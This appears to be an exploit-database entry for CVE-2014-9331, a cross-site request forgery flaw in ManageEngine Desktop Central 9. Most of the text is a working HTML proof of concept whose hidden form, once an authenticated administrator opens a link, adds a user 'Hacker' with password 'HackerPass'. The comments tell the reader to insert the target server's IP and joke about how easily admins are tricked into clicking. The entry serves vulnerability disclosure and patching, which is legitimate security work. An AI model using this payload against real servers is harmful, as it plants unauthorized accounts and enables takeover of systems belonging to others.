ManageEngine Desktop Central 9 Build 90087 - CSRF Vulnerability

<html>

<!--

# Exploit Title: ManageEngine Desktop Central 9 Add and admin user through Cross-Site Request Forgery (CSRF)

# Date: 05 December 2014

# Exploit Author: Mohamed Idris – Help AG Middle East

# Vendor Homepage: http://www.manageengine.com/

# Software Link: http://www.manageengine.com/products/desktop-central/

# Version: All versions below build 90121

# Tested on: Version 9 Build 90087

# CVEID: CVE-2014-9331

# Vulnerability Fix: http://www.manageengine.com/products/desktop-central/cve20149331-cross-site-request-forgery.html

POC Code:

When an authenticated application admin clicks a link to the below code, you well get a user “Hacker” with the password “HackerPass” added to the application (convincing the admin to click on a link is so easy ;)).

Remember to change the IP to the target server IP address in the code.

-->

<body>

<form

action="http://<Server-IP>:8020/STATE_ID/1417736606982/roleMgmt.do?actionToCall=addUser&SUBREQUEST=XMLHTTP" method="POST">

<input type="hidden" name="AuthenticationType" value="DC" />

<input type="hidden" name="newDCAuthUserName" value="Hacker" />

<input type="hidden" name="newDCAuthUserPassword" value="HackerPass" />

<input type="hidden" name="DCAuthconfirmPassword" value="HackerPass" />

<input type="hidden" name="newDCAuthUserEmail" value="" />

<input type="hidden" name="newDCAuthUserPNumber" value="" />

<input type="hidden" name="newADAuthUserEmail" value="" />

<input type="hidden" name="newADAuthUserPNumber" value="" />

<input type="hidden" name="MapType" value="ALL" />

<input type="hidden" name="aduserSearch" value="" />

<input type="hidden" name="searchValue" value="Search" />

<input type="hidden" name="aduserSearchRO" value="" />

<input type="hidden" name="searchValue" value="Search" />

<input type="hidden" name="action1" value="DC_ADD_USER" />

<input type="hidden" name="addUser" value="Add User" />

<input type="hidden" name="cancle" value="Cancel" />

<input type="hidden" name="customerids" value="" />

<input type="hidden" name="roleListDCAuth" value="1" />

<input type="hidden" name="PERSONALISE_LANGUAGE" value="en_US" />

<input type="hidden" name="domainListADAuth" value="-1" />

<input type="hidden" name="roleListADAuth" value="-1" />

<input type="hidden" name="PERSONALISE_LANGUAGE" value="en_US" />

<input type="submit" value="Submit request" />

</form>

</body>

</html>

EKU-ID: 4581	CVE: 2014-9331	OSVDB-ID:
Author: Mohamed Idris	Published: 2015-02-05	Verified:
Download:

ManageEngine Desktop Central 9 Build 90087 - CSRF Vulnerability

Rating